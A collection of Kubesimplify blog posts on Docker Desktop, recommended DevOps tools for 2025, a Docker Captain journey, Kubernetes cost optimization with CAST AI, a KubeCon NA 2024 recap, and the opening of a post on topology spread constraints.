![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/fe21883f-3423-4ef6-b3cf-261ed9e62e1f.png align="center")

You can see that you have a local Kubernetes experience that you can use to test out Kubernetes for your development purposes.

#### 3. **Exploring Extensions**

Docker Desktop’s Extensions Marketplace allows you to add new functionalities. From CI/CD integrations to security scanners, you can install extensions with a single click and extend the capabilities of Docker Desktop. In the below example, I searched for the Lens extension to visualize Kubernetes.

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/a2191cf0-3ec7-411a-b2c0-5860d9c56f16.png align="center")

### Conclusion

Docker Desktop is an indispensable tool for developers and DevOps professionals. It simplifies the container lifecycle, bridges the gap between local and production environments, and offers powerful features like Kubernetes integration, resource management, and extensions. Whether building your first containerized app or managing complex microservices, Docker Desktop is your go-to solution for local development.

Start exploring Docker Desktop today and transform how you build, ship, and run applications!

---

# Best DevOps Tools 2025

- Canonical: https://blog.kubesimplify.com/best-devops-tools-2025
- Published: 2025-01-13
- Summary: Best DevOps tools in 2025

As we enter 2025, the DevOps landscape continues to evolve, with innovative tools addressing complex challenges in the cloud-native ecosystem. At **Kubesimplify**, we aim to make these technologies more accessible and provide clear recommendations to help you navigate this ever-changing space. Here’s our perspective on how DevOps tools will shape workflows in 2025.  
  
(This blog is based on the latest video on our YouTube channel, **"DevOps Tools 2025"**)

%[https://www.youtube.com/watch?v=8dhwmKqfAa8&t=31s] 

---

### **1\. Building Secure Base Images**

The journey begins with building secure and compliant base images. At Kubesimplify, we recommend using **BuildSafe**, a tool designed to simplify this process while ensuring compliance and a developer-friendly experience.

[BuildSafe](https://github.com/buildsafedev), built on **Nix**, helps you build 0 CVE base image yourself, provide you with higher quality build time SBOM out of the box and also let you achieve higher SLSA levels and even go beyond.

---

### **2\. CI/CD Pipelines**

Automation lies at the heart of DevOps, and effective CI/CD pipelines are key to operational efficiency. We emphasize a combination of:

* **GitHub Actions and ArgoCD for modern CI/CD.** You can check out this project where we have built and shown everything for a CI\\CD pipeline.
    
    %[https://www.youtube.com/watch?v=kCWAwXFnYic&t=46s] 
    

*  **Argo CD** is a declarative GitOps continuous delivery tool for Kubernetes. It synchronizes Kubernetes resources with a desired state defined in a Git repository, enabling automated deployments and real-time drift detection. Argo CD supports multi-cluster environments and application rollbacks and integrates with Helm, Kustomize, and plain YAML manifests to manage Kubernetes workloads effectively.
    

Couple more tools highlighted in this video is:

* [**Dagger**](https://dagger.io/) **is** a tool for writing pipelines in programming languages like Go, Python, and TypeScript. It offers flexibility with local and CI-based runs, making it a standout for modern workflows.
    
* **Kargo:** Created by the Argo team, it streamlines multi-stage application promotion using GitOps principles, removing the need for custom automation or CI pipelines. Kargo integrates seamlessly with Argo CD, automating progressive rollouts to improve efficiency, safety, and visibility across the application lifecycle.
    

---

### **3\. Infrastructure as Code (IaC)**

Managing infrastructure has never been easier with tools that provide powerful abstractions and flexibility. Kubesimplify recommends:

* [**Crossplane**](https://www.crossplane.io/): **Crossplane** is an open-source framework that enables infrastructure and application management using Kubernetes-native declarative APIs. It extends Kubernetes to manage resources like cloud infrastructure, databases, and services through Custom Resource Definitions (CRDs). Crossplane supports multi-cloud environments and infrastructure-as-code practices and integrates seamlessly with existing Kubernetes workflows, providing a unified way to manage both infrastructure and application. The feature I love the most from crossplane is - crossplane composition. You can check out this video that I did with Dan on [Crossplane compostion deep dive](https://www.youtube.com/watch?v=78xR7ypzB4Q).
    
* [**Pulumi**](https://www.pulumi.com/): **Pulumi** is an open-source infrastructure-as-code (IaC) tool that allows you to define, deploy, and manage cloud infrastructure using familiar programming languages like Python, TypeScript, Go, and C#. It supports a wide range of cloud providers and on-premises systems. Pulumi enables developers and DevOps teams to write infrastructure as real code, fostering better integration, testing, and reusability while simplifying infrastructure management across diverse environment.
    
* [**OpenTofu**](https://opentofu.org/): **OpenTofu** is an open-source infrastructure such as a code (IaC) framework that helps define, provision, and manage cloud infrastructure using declarative configuration files. It supports multiple cloud providers and on-premises environments, enabling reproducible and automated infrastructure deployments. As a community-driven fork of Terraform, OpenTofu promotes openness and extensibility, empowering users with flexibility for modern infrastructure management.
    

Along with that some still use **Ansible** that remains a reliable option.

---

### **4\. Kubernetes Package Management**

Managing additional tooling on Kubernetes clusters requires robust package management. While **Helm** remains a popular choice, [**Glasskube**](https://glasskube.dev/) is our recommended tool for 2025. It simplifies:

* Dependency management.
    
* Automatic CRD updates.
    
* Kubernetes version compatibility testing.
    

Glasskube’s focus on lifecycle management and CLI-based intuitive updates makes it an excellent choice for managing Kubernetes packages.

---

### **5\. Observability**

Observability is critical for maintaining operational excellence. While tools like **Prometheus**, **Grafana**, and **Jaeger** are well-established, Kubesimplify highlights:

* [Signoz](https://signoz.io/)**: SigNoz** is an open-source observability platform for monitoring and troubleshooting applications. It provides metrics, logs, and traces in a single interface, enabling developers to quickly analyze application performance and detect issues. Built to focus on simplicity and scalability, SigNoz integrates with OpenTelemetry and supports popular storage backends like ClickHouse. It serves as a cost-effective alternative to proprietary observability solutions like Datadog or New Relic.
    
* [**OpenObserve**](https://openobserve.ai/): **OpenObserve** is an open-source observability platform that provides a unified solution for logs, metrics, and traces. It is designed for high performance, scalability, and cost-efficiency, making it suitable for modern cloud-native applications. OpenObserve simplifies monitoring and troubleshooting by offering a single interface for observability data, helping teams ensure system reliability and performance.
    

Both tools are great choices for monitoring, logging, and tracing in a Kubernetes environment.

---

### **6\. Security and Compliance**

Security is a non-negotiable aspect of DevOps. Kubesimplify suggests:

* **BuildSafe**: **BuildSafe** is a tool designed to secure the software supply chain by enabling organizations to create tamper-proof, 0-CVE (zero known vulnerabilities) artifacts compliant with government regulations. It focuses on generating high-quality SBOM’s, providing path for secure builds that are developer-friendly and easy to integrate into existing workflows. BuildSafe emphasizes hermetic builds, high-quality SBOMs (Software Bill of Materials), and compliance, helping organizations reduce risks associated with supply chain attacks.
    
* [**Trivy**](https://trivy.dev/latest/): **Trivy** is a security scanner for identifying vulnerabilities, misconfigurations, and sensitive data in containers, Kubernetes, IaC templates, and repositories. It supports a wide range of formats, integrates seamlessly into CI/CD pipelines, and provides detailed reports to enhance application and infrastructure security. Trivy is widely used for its speed, simplicity, and effectiveness in ensuring secure deployments.
    
* [**Kubescape**](https://www.cncf.io/projects/kubescape/): **Kubescape** is a Kubernetes security platform by ARMO, providing end-to-end protection across the development and runtime lifecycle. It features shift-left security, runtime threat detection, cluster scanning, YAML/Helm validation, compliance with frameworks like NSA-CISA and MITRE ATT&CK, and multi-cloud support. A CNCF sandbox project, Kubescape ensures a robust security posture for Kubernetes environments.
    
* [**Falco**](https://falco.org/community/falco-brand/): **Falco** is a runtime security tool for Kubernetes and cloud-native environments. It detects anomalous behavior, potential threats, and policy violations by monitoring system calls in real time. With predefined and customizable rules, Falco provides actionable alerts for suspicious activities, helping secure workloads and maintain compliance in dynamic, containerized environments. It is a CNCF graduated project.
    

These tools collectively ensure a robust security posture throughout the DevOps lifecycle.

---

### **7\. Cost Optimization**

Kubernetes cost optimization is a growing concern, and tools like [**Cast.AI**](https://cast.ai/) offer intelligent auto-scaling to reduce expenses. Alongside cost reduction, [**vCluster**](https://www.vcluster.com/) is pivotal in enabling multi-tenancy, sustainability, and platform engineering goals.

---

### **8\. WebAssembly and AI Workloads**

WebAssembly continues to make waves in the industry. Tools like [**SpinKube**](https://www.spinkube.dev/) and [**WasmCloud**](https://wasmcloud.com/) simplify deploying WebAssembly applications on Kubernetes.

For AI workloads, [**Kubeflow**](https://www.kubeflow.org/) remains a leading choice, offering a complete lifecycle solution from training to inference using components like KServe and pipelines. Kubernetes is rapidly becoming a preferred platform for running AI agents, and tools like **Argo Workflows** further enhance these capabilities.

---

### **Kubesimplify’s Final Thoughts**

At Kubesimplify, our mission is to break down the complexities of cloud-native technologies and empower you to make informed decisions. These tools represent the forefront of innovation in 2025, simplifying workflows while addressing real-world challenges.

We’d love to hear from you! **What tools are part of your DevOps journey in 2025?** Share your thoughts, and let’s grow together as a community.

A big thanks to the CNCF and open-source contributors for driving these innovations. Stay tuned to **Kubesimplify** for more insights, tutorials, and updates from the cloud-native ecosystem.

---

# Becoming a Docker Captain

- Canonical: https://blog.kubesimplify.com/docker-captain-journey
- Published: 2024-12-17
- Summary: This blog shares Saloni Narang's Journey on becoming Docker captain and also a quick introduction to docker desktop.

Hey everyone! I’m thrilled to share that I’ve recently become a [**Docker Captain**](https://www.docker.com/community/captains/). I wanted to take a moment to reflect on my journey with Docker, starting in 2019, and share some learnings and insights along the way.

#### Discovering Docker in 2019: A Spark of Interest

It all began back in 2019, when I was working at **SAP Labs in Bangalore**. As someone passionate about exploring new technologies, I started attending local meetups to connect with like-minded professionals and learn from their experiences. It was during one of these meetups that I first came across the term **Docker**. The concept of containerization and its potential to transform software development immediately got my attention.

Eager to dive deeper, I started learning Docker through various online platforms. I explored tutorials, blogs, and documentation to understand its fundamentals and practical applications. This newfound knowledge not only enhanced my skills but also ignited a desire to share what I had learned with others.

#### Hands-On Experience: Working on a Docker Project at SAP Labs

While at SAP Labs, I got the opportunity to work on a **Docker-based project** in a **production environment**. This was a game-changer for me, as it allowed me to gain **hands-on experience with Docker in real-world scenarios**. Working on the project helped me understand the challenges and nuances of using containerization at scale, such as deploying containers in production, managing workloads, and ensuring high availability.

This experience not only strengthened my technical expertise but also gave me a practical perspective on Docker’s impact on enterprise environments.

#### Taking It to the Next Level: Earning the Docker Certified Associate (DCA)

As my interest in Docker grew, I decided to deepen my understanding by pursuing the **Docker Certified Associate (DCA)** certification. Preparing for this certification was challenging but rewarding. It provided me with a strong foundation in containerisation concepts, Docker commands, orchestration, and real-world applications. This certification confirmed my expertise and inspired me to explore further possibilities with Docker. I became DCA when the Enterprise business was acquired by Mirantis.

#### Organising India's Largest Docker Meetup: A Milestone in 2020

One of the most memorable milestones in my journey was organizing **India's largest Docker meetup** in January 2020. This was the first event of the year, and it was truly extraordinary. With over **550 attendees**, it became a platform for professionals and enthusiasts to gather, share knowledge, and discuss the future of containerization.

From coordinating with speakers to managing logistics, the experience of organising such a large-scale event was both challenging and exhilarating. Seeing the community’s enthusiasm and engagement reaffirmed my commitment to contributing to the Docker ecosystem.

#### Keeping the Community Alive During COVID-19

When the world came to a standstill due to the COVID-19 pandemic, I saw an opportunity to keep the community spirit alive through virtual meetups. I hosted several online sessions on Docker, sharing insights, best practices, and use cases with developers worldwide. These sessions not only helped others learn but also deepened my own understanding as I prepared and answered questions from the community.

During this time, I also created a dedicated [**Docker playlist** on my YouTube channel](https://youtube.com/playlist?list=PL5uLNcv9SibBZj30yqG01a7A4_MXSyGK3&si=pj3oQaTbZv4MARMj), Kubesimplify. This playlist became a go-to resource for developers to learn Docker step-by-step, from beginner concepts to advanced techniques. Additionally, I began writing blogs on **Medium** and **Kubesimplify**, covering practical Docker topics to reach an even wider audience.

#### Applying for Docker Captain: The Next Chapter

After years of learning, contributing, and engaging with the Docker community, I felt ready to take the next step: applying for the **Docker Captain program**. This recognition would not only validate my contributions but also provide me with a platform to reach more people and advocate for Docker in the global developer ecosystem.

#### Reflections on the Journey

Looking back, what began as curiosity at a meetup has grown into a passion for containerisation and community building. Docker has been more than just a technology for me, it has been a catalyst for personal growth, professional opportunities, and meaningful connections with developers worldwide.

As I continue this journey, I am excited to share more knowledge, build impactful communities, and explore the endless possibilities of containerisation. For anyone looking to start their Docker journey, my advice is simple: **stay curious, contribute to the community, and never stop learning.**

### What’s Happening at Docker Inc.?

Before we talk about Docker Desktop, let me quickly highlight the key areas Docker Inc. is focusing on post the **2019 Mirantis acquisition** of their enterprise business. Docker Inc. has been refining its offerings, and here are its major products:

1. **Docker Desktop**  
    A local development environment enabling developers to efficiently build, share, and run containerized applications on their desktops. It integrates seamlessly with multiple developer tools and supports various programming languages. It also has WASM integration and you can build and run wasm OCI images too.
    
2. **Docker Hub**  
    A cloud-based repository where developers can discover, share, and store container images. It acts as a central hub for managing container images and finding trusted content.
    
3. **Docker Scout**  
    A tool designed to simplify the software supply chain by providing insights into container images, helping developers identify and address vulnerabilities. It makes finding CVE’s super simple in the container images.
    

Now that we’ve got a quick overview, let’s zoom in on Docker Desktop and learn how to get started.

### Installing Docker Desktop

For this blog, I’ll focus on the installation process for macOS, as that’s what I use. If you’re on Windows or any other you can visit the [official website](https://www.docker.com/products/docker-desktop/) and download as per the OS.

#### [Steps to Insta](https://docs.docker.com/desktop/setup/install/windows-install/)ll Docke[r Desktop on macOS:](https://docs.docker.com/desktop/setup/install/windows-install/)

![](/img/blog/docker-captain-journey/1dd54880-7214-4401-ba58-3e109812ba20.png align="center")

1. Visit the [Docker Desktop installation guide for macOS](https://docs.docker.com/desktop/setup/install/mac-install/) and click download for MAC
    

![](/img/blog/docker-captain-journey/6a283767-e57f-4a80-94f5-832bc54687f1.png align="center")

2. Download the installer and click on it to begin the installation process.
    
3. ![](/img/blog/docker-captain-journey/023643c3-f43c-41a6-a2fc-1c9835ff66e6.png align="left")
    
    Follow the on-screen instructions to complete the setup.
    
    ![](/img/blog/docker-captain-journey/1c2c9792-1229-4832-a545-8a7c08600afc.png align="left")
    
4. Once installed, open Docker Desktop, and you’re ready to start containerizing!
    

![](/img/blog/docker-captain-journey/da6e876f-359f-4a11-9307-1e363045fceb.png align="center")

If you’re planning to use Docker Desktop for work, make sure to select the appropriate license during setup. Docker Desktop offers both personal and professional options, so choose based on your needs.

![](/img/blog/docker-captain-journey/16dee8b9-bdac-4c87-a28b-375e3351e33c.png align="center")

![](/img/blog/docker-captain-journey/279e4429-727a-4d16-85c4-658dd39cf7bb.png align="center")

### What’s Next?

In my upcoming blogs, I’ll dive deeper into Docker Desktop’s features, its integration with Kubernetes, and tips to optimise your containerised workflows. For now, I encourage you to explore Docker Desktop, try running your first container, and share your experiences in the comments below.

---

# Mastering Kubernetes Costs: From Monitoring to Automation

- Canonical: https://blog.kubesimplify.com/mastering-kubernetes-costs-from-monitoring-to-automation
- Published: 2024-12-13
- Summary: Discover how to optimize Kubernetes costs with advanced monitoring and automation. Learn actionable strategies, explore CAST AI's innovative solutions, and 

**Navigating the Kubernetes Cost Challenge**

Kubernetes has revolutionized how we deploy and manage applications, offering unparalleled scalability and flexibility. However, with great power comes great complexity, and this complexity can often lead to excessive cloud costs if not managed effectively.

This blog delves into the journey from basic Kubernetes monitoring to advanced automation, highlighting how intelligent solutions like [**CAST AI**](https://cast.ai/kubesimplify) can help organizations unlock significant cost savings without compromising performance or stability.

We’ll start by understanding why monitoring is the foundation of any cost optimization strategy. Next, we’ll explore the common challenges teams face when transitioning to automation for resource management. Finally, we’ll examine how CAST AI addresses these challenges and empowers organizations with its innovative solutions and real-world success stories.

---

## **Kubernetes Monitoring: The Foundation of Cost Optimization**

Monitoring is the essential first step towards understanding and managing your Kubernetes environment. By providing real-time visibility into performance, security, and resource utilization, monitoring helps teams identify inefficiencies and opportunities for optimization.

### **Key Areas of Kubernetes Monitoring**

1. **Performance Monitoring**  
    Metrics like CPU usage, memory consumption, network traffic, and pod restarts help identify bottlenecks. This information allows teams to:
    
    * Optimize resource allocation.
        
    * Adjust application configurations for smoother operation.
        
    * Ensure that workloads are running efficiently.
        
2. **Security Monitoring**  
    Monitoring user activity, API calls, and network traffic patterns can reveal suspicious behaviors and potential security breaches. Prompt detection and resolution of security issues prevent costly data leaks and system downtime.
    
3. **Application Health Monitoring**  
    Metrics such as response times, error rates, and request throughput provide insights into application health. Proactive monitoring allows teams to address performance degradation before it impacts end users, ensuring a seamless experience.
    

While tools like **Prometheus** and **Grafana** are excellent at collecting and visualizing this data, many teams stop short of translating these insights into actionable measures, missing the opportunity to optimize their Kubernetes clusters effectively.

---

## **Missed Opportunities: The Case for Automation**

Although monitoring provides valuable insights, acting on them manually can be time-consuming and error-prone. Automation is the next logical step where people should be doing resource optimization, cost optimization, yet many teams hesitate to adopt it for several reasons:

1. **Fear of Disruption**  
    Teams worry that automation might introduce instability, especially in complex Kubernetes environments.
    
2. **Lack of Expertise**  
    The rapidly evolving Kubernetes landscape can make it challenging for teams to implement and manage sophisticated automation solutions.
    
3. **Resistance to Change**  
    Traditional practices and a reluctance to embrace new technologies often slow down the adoption of automation.
    

These hesitations lead to significant missed opportunities, such as the adopting of **spot instances** which is a discounted compute option provided by cloud providers. While spot instances offer substantial cost savings, their ephemeral nature requires robust automation to handle disruptions effectively.

---

## **CAST AI: Unlocking the Power of Automation**

CAST AI bridges the gap between monitoring and automation, providing a comprehensive platform that optimizes Kubernetes environments for cost, performance, and security.

### **Key Features of CAST AI**

1. **Cost Monitoring and Insights**  
    CAST AI offers detailed dashboards that break down resource usage, trends, and forecasts. Unlike traditional tools, it goes a step further by providing actionable recommendations for cost savings.
    
2. **Rebalancing**  
    CAST AI’s rebalancing engine minimizes resource fragmentation by intelligently placing pods across nodes. For example, instead of spreading workloads across three underutilized nodes, it consolidates them onto two nodes, reducing costs while maintaining high availability.
    
3. **Workload Right-Sizing**  
    By analyzing historical data and real-time metrics, CAST AI dynamically adjusts CPU and memory allocations for workloads. This ensures optimal resource utilization without compromising performance.
    
4. **Spot Instance Management**  
    CAST AI automates the use of spot instances with features like:
    
    * **Fallback Mechanisms**: Automatically shifts workloads to on-demand nodes when spot instances are reclaimed.
        
    * **Spot Diversity**: Leverages a wide range of spot instance types to minimize disruption risk.
        

These features empower organizations to achieve cost reductions of up to **50%-80%**, depending on their workloads and strategies.

---

## **Real-World Success Stories**

CAST AI’s solutions have delivered tangible results for organizations across industries:

1. **Eliminating Manual Kubernetes Upgrades**  
    A customer who spent two weeks annually upgrading Kubernetes versions across environments automated the process with CAST AI. This not only saved time but also boosted team morale, allowing engineers to focus on strategic initiatives.
    
2. **Spot Instance Management During Peak Traffic**  
    Yotpo, a marketing software company, leveraged CAST AI’s spot instance automation during Black Friday. Despite high traffic, CAST AI ensured seamless scaling and uninterrupted operations, resulting in significant cost savings.
    

---

## **Beyond Cost Optimization: CAST AI’s Expanding Capabilities**

CAST AI is continuously innovating to address broader Kubernetes challenges. Recent launches include:

* **AI Enabler**: A solution for leveraging AI to enhance Kubernetes operations.
    
* **Kubernetes Security**: A new product designed to improve container and cluster security.
    

These additions position CAST AI as a comprehensive platform for Kubernetes day-two operations, covering everything from cost optimization to security and AI-driven enhancements.

---

## **Embracing Automation for a Cost-Efficient Future**

Over-provisioning remains a rampant issue in Kubernetes environments, with studies showing that up to **87% of resources are underutilized**. By embracing automation, organizations can unlock significant cost savings, improve operational efficiency, and free up teams to focus on innovation.

As Giri from CAST AI aptly put it: *“Don’t do manual work for resource optimization. We’re in 2024 - it’s time to automate.”*

---

## **Ready to Get Started?**

CAST AI offers a free trial to help teams explore its capabilities. [Visit their website](https://cast.ai/kubesimplify) to set up a demo cluster and see how monitoring and automation can transform your Kubernetes operations.  
With intelligent solutions like CAST AI, Kubernetes cost optimization is no longer a daunting task but an achievable goal. Start your journey today and unlock the full potential of automation.

Check out the entire Conversation on Kubesimplify Youtube channel 

%[https://www.youtube.com/watch?v=HHETsDLAlt0&t=1s]

---

# KubeCon + CloudNativeCon North America 2024 Recap: Themes, Innovations, and Community Spirit

- Canonical: https://blog.kubesimplify.com/kubecon-cloudnativecon-north-america-2024-recap-themes-innovations-and-community-spirit
- Published: 2024-11-23
- Summary: Here is my KubeCon NA 2024 recap. This KubeCon was filled with innovation, insightful sessions, and a vibrant community. Dive into all the highlights!

Hello everyone! KubeCon + CloudNativeCon North America 2024 has just wrapped up, and I’m thrilled to share what I learned and experienced from this incredible event. I returned home two days ago and am still struggling with jet lag, but the excitement and insights from the conference keep me energized.  
This year’s KubeCon was thoughtfully organized around themes, with each day focusing on a specific topic:

* Day 1: Artificial Intelligence (AI)
    
* Day 2: Security
    
* Day 3: Community
    

For anyone new to the cloud-native ecosystem, KubeCon is the largest and most influential conference dedicated to cloud-native technologies. This year, the 2024 edition was hosted in Salt Lake City, Utah. Preceding the main event was Rejekts, a two-day conference held on November 10 and 11. Rejekts offers a unique platform for deeper discussions and features talks that didn’t make it into the main KubeCon lineup. I had the opportunity to attend Rejekts in person and was thrilled to see Kubesimplify as a proud community and media partner for the event. The energy, the insightful conversations, and the chance to connect with incredible individuals made the experience unforgettable.

I also had the honor of speaking at KubeCon, delivering a talk titled **"**[**Cloud Native Sustainability Speedrun: Tools from Infrastructure to Application Level**](https://youtu.be/X-0zyyWRkiM?si=Gta_WKdnie5Dr12Q)**."** It was an incredible experience to share insights into sustainability tools like Kepler, KubeGreen, and Cloud Carbon Footprint, and to demonstrate how cloud-native applications can incorporate sustainability at every level.

![Image](https://pbs.twimg.com/media/GcZTj1JaAAAPR7L?format=jpg&name=large align="left")

***Day 1 Highlights: AI in Cloud-Native and Tackling Patent Trolls***

The first day of KubeCon was a blend of excitement around Artificial Intelligence and a call to action against legal challenges facing the open-source community.

1. **Scaling Kubernetes for Generative AI**
    

Industry experts shared lessons learned while building Kubernetes clusters to support generative AI workloads. They tackled challenges like hardware failures, GPU scheduling optimization, and observability while leveraging CNCF projects to manage platforms for AI.

2.  **NVIDIA’s Contributions to AI and CNCF Projects**  
Chris Lamb from NVIDIA discussed how the company uses and contributes to CNCF projects, showcasing the synergy between open source and AI advancements.

**3\. Patent Trolls and the Cloud Native Heroes Challenge**  
CNCF launched the Cloud Native Heroes Challenge, a patent troll bounty program in partnership with Unified Patents. This initiative aims to protect open-source projects from legal threats, allowing the community to contribute while earning rewards. Learn more [here](https://cncf.io/heroes/).

On Day 1, the blend of technological advancements in AI and the community’s resilience in tackling challenges showcased the collaborative spirit of KubeCon.

***Day 2 Highlights: Security in the Cloud-Native Ecosystem***  
 Day 2 focused on the critical topic of Security, reflecting the growing importance of safeguarding open-source ecosystems.

1\. **Envoy AI Gateway**  
A significant announcement was the introduction of the Envoy AI Gateway, the first CNCF AI project. Built on Envoy Proxy, this gateway offers scalable solutions for LLM access, unified APIs, and upstream authorization.

2\. **CNCF End User Awards**  
 Adobe received the CNCF End User Award for contributing to 46 CNCF projects, including Kubernetes, Prometheus, and OpenTelemetry.

![Image](https://pbs.twimg.com/media/GcW49HRWAAEDl26?format=jpg&name=medium align="left")

3\. **Announcing the 2024 Community Awards!**

This year’s awards include:  
\- Lifetime Achievement award (new!)  
\- Top Committer  
\- Chop Wood Carry Water  
\- CNCF Lorem Ipsum (previously Documentarian)  
\- TAGGIE  
\- Lift and Shift (special)

![Image](https://pbs.twimg.com/media/GcXGrQta8AAPb5w?format=jpg&name=medium align="left")

4. **New Certifications**  
    At [**KubeCon + CloudNativeCon North America**, CNCF is also introducing three new p](https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/?__hstc=60185074.51db3727f50fc735b9cf22025d9e6d69.1694516457625.1730541543361.1732355999476.16&__hssc=60185074.2.1732355999476&__hsfp=3589139824)roject-specific certifications:
    

* [**Certified Backstage Associate (CBA)**](https://training.linuxfoundation.org/certification/certified-backstage-associate-cba/?__hstc=60185074.51db3727f50fc735b9cf22025d9e6d69.1694516457625.1730541543361.1732355999476.16&__hssc=60185074.2.1732355999476&__hsfp=3589139824)
    
* [**Op**](https://training.linuxfoundation.org/certification/certified-backstage-associate-cba/?__hstc=60185074.51db3727f50fc735b9cf22025d9e6d69.1694516457625.1730541543361.1732355999476.16&__hssc=60185074.2.1732355999476&__hsfp=3589139824)[**enTelemetry Certified Associate (OTCA)**](https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/?__hstc=60185074.51db3727f50fc735b9cf22025d9e6d69.1694516457625.1730541543361.1732355999476.16&__hssc=60185074.2.1732355999476&__hsfp=3589139824)
    
* [**Kyverno Certified Associate (KCA)**](https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/?__hstc=60185074.51db3727f50fc735b9cf22025d9e6d69.1694516457625.1730541543361.1732355999476.16&__hssc=60185074.2.1732355999476&__hsfp=3589139824)
    

***Day 3 Highlights: Community and the Future of Cloud-Native***

The final day celebrated the Community, emphasizing collaboration and envisioning the future of cloud-native technologies.

1. **Kubernetes’ Ten-Year Journey**
    

Kelsey Hightower reflected on a decade of Kubernetes, sharing stories of its evolution and celebrating the community, which has grown exponentially since the first KubeCon, which had 600 attendees in 2016.

![Image](https://pbs.twimg.com/media/GccFjtQXkAAyHpm?format=jpg&name=medium align="left")

2\. **Training African Technologists**  
CNCF announced a partnership with LF Education and Andela to train 20,000 African technologists in cloud-native basics, enabling them to earn certifications like KCNA and CKAD.

3\. **Graduated Projects**  
Congratulations to the newest CNCF Graduated projects:

* Cert-Manager
    
* Dapr
    
* KubeEdge
    
* Falco
    

**Co-Located Events**

KubeCon + CloudNativeCon started with various co-located events on Monday, November 11, 2024, each providing a deep dive into specific topics within the cloud-native ecosystem. Here's a quick rundown of a few of them:

* WasmCon Day 1
    
* ArgoCon Hosted by CNCF
    
* BackstageCon, Hosted by CNCF
    
* Cilium + eBPF Day Hosted by CNCF
    
* Cloud Native + Kubernetes AI Day Hosted by CNCF
    
* Observability Day Hosted by CNCF
    
* Platform Engineering Day Hosted by CNCF
    
* Cloud Native University Hosted by CNCF (Half Day)
    
* Data on Kubernetes Day Hosted by CNCF (Half Day)
    
* EnvoyCon Hosted by CNCF (Half Day)
    
* OpenFeature Summit Hosted by CNCF (Half Day)
    
* AppDeveloperCon Hosted by CNCF
    

These events set the stage for the main conference by fostering meaningful conversations and offering hands-on workshops for participants to expand their expertise. Save the Dates for Future KubeCons  
Here are the upcoming KubeCon events to mark on your calendar:

* KubeCon + CloudNativeCon India 2024 | December 11–12 | Delhi, India
    
* KubeCon + CloudNativeCon Europe 2025 | April 1–4 | London, England
    
* KubeCon + CloudNativeCon China 2025 | June 10–11 | Hong Kong
    
* KubeCon + CloudNativeCon Japan 2025 | June 16–17 | Tokyo, Japan
    
* KubeCon + CloudNativeCon North America 2025 | November 10–13 | Atlanta, Georgia
    
* KubeCon + CloudNativeCon India 2025 | August 6–7 | Hyderabad, India
    

**Final Thoughts**

This KubeCon was particularly special for me as I recently became a **CNCF Ambassador**! With this new role, I had the privilege of attending the exclusive CNCF Ambassador breakfast, where I got to connect with other ambassadors and community leaders. It was an enriching experience to exchange ideas and learn more about contributing to the cloud-native ecosystem.

![Image](https://pbs.twimg.com/media/GcR38YkbkAEnuzY?format=jpg&name=medium align="left")

This time, I had my family with me → my husband, Saiyam, and our little one, Rushika. Believe it or not, this was Rushika’s third KubeCon! Thanks to the excellent **daycare facility at KubeCon**, balancing family and conference activities was seamless. Watching Rushika enjoy herself while I was immersed in the sessions and networking made this trip truly memorable.

![Image](https://pbs.twimg.com/media/GcUdAHkboAA7_LV?format=jpg&name=medium align="left")

Another highlight for me was finally being able to register for a **professional headshot session**. I’ve always missed this in previous events, but this time, I made it a point to grab the opportunity, and I’m thrilled with how it turned out!  
Additionally, Saiyam and I teamed up with Shwetha Vohra to record an exclusive **interview on platform engineering** for our YouTube channel, **Kubesimplify**. The discussion was insightful, and I can’t wait to share it with you all soon!

I also love the concept of the **job board at KubeCon**. It is thoughtful, offering attendees a chance to explore job opportunities at the event. It was great to see companies actively seeking talent and participants being able to connect with potential employers directly.

![Image](https://pbs.twimg.com/media/GcW4NhfXYAE-PXi?format=jpg&name=900x900 align="left")

What were your favorite moments from KubeCon 2024? Let’s discuss this in the comments!

---

# Optimizing Kubernetes Costs: Balancing Spot and On-Demand Instances with Topology Spread Constraints

- Canonical: https://blog.kubesimplify.com/optimizing-kubernetes-costs-balancing-spot-and-on-demand-instances-with-topology-spread-constraints
- Published: 2024-09-21
- Summary: Addressing high Kubernetes costs and inefficient pod distribution, this article reveals how balancing spot and on-demand instances with Topology Spread Cons

In the fast-evolving world of cloud-native applications, cost optimization is a top priority for any development team. Kubernetes offers a flexible and scalable platform for deploying applications, but with that flexibility comes complexity, especially when it comes to managing costs.

One of the most effective strategies to [reduce cloud spending](https://blog.facets.cloud/cloud-cost-optimization-efficiency-by-design/) is to use a mix of spot and on-demand instances. Spot instances are significantly cheaper, but they come with the risk of being terminated at any time, while on-demand instances provide the stability needed to keep your applications running smoothly.

On paper, the solution seems simple: combine spot and on-demand instances to get the best of both worlds—cost savings and reliability. **However, the reality of managing pod placement across these different instance types is far from straightforward.** Let’s explore the problem and how we tackled it.

## The Problem: Managing Pod Placement in Mixed Instance Environments

As you begin to implement a mixed instance strategy in Kubernetes, you quickly run into challenges with pod placement. Kubernetes does provide tools for controlling where pods are deployed, but they’re often too simplistic or too rigid for the nuanced control you need.

**Node Selectors** allow you to direct Kubernetes to place a pod on a specific type of instance, such as a spot instance. But this method is binary—it either places the pod on a spot instance, or it doesn’t. There’s no middle ground, no balancing between instance types.

**Affinity and Anti-Affinity Rules** provide more control by allowing you to express preferences or requirements for pod placement. For example, you could set a rule that prefers spot instances but allows on-demand instances if no spot instances are available. However, as your cluster grows and your applications become more complex, these rules can become cumbersome to manage. The YAML configurations become lengthy and difficult to maintain, and the rules themselves can become conflicting or lead to unintended consequences.

Additionally, as clusters scale, maintaining even distribution of pods across instance types becomes a challenge. Without careful management, you could end up with too many pods on one type of instance, leading to inefficiencies or increased risk if those instances are interrupted.

This lack of fine-grained control and the complexity of managing pod placement in large, diverse clusters were the core problems we needed to solve.

## The Solution: Leveraging Kubernetes Topology Spread Constraints

To address these challenges, we turned to [Kubernetes Topology Spread Constraints](https://kubernetes.io/docs/concepts/scheduling-eviction/topology-spread-constraints/) (TSC), a feature that simplifies and streamlines the process of distributing pods across different topologies within a cluster. TSC allowed us to control pod placement with more nuance and flexibility, reducing the complexity of our configurations and improving our ability to manage mixed-instance environments.

![](/img/blog/optimizing-kubernetes-costs-balancing-spot-and-on-demand-instances-with-topology-spread-constraints/f03c7e5b-6500-44e7-9d2c-70bad392f464.png align="center")

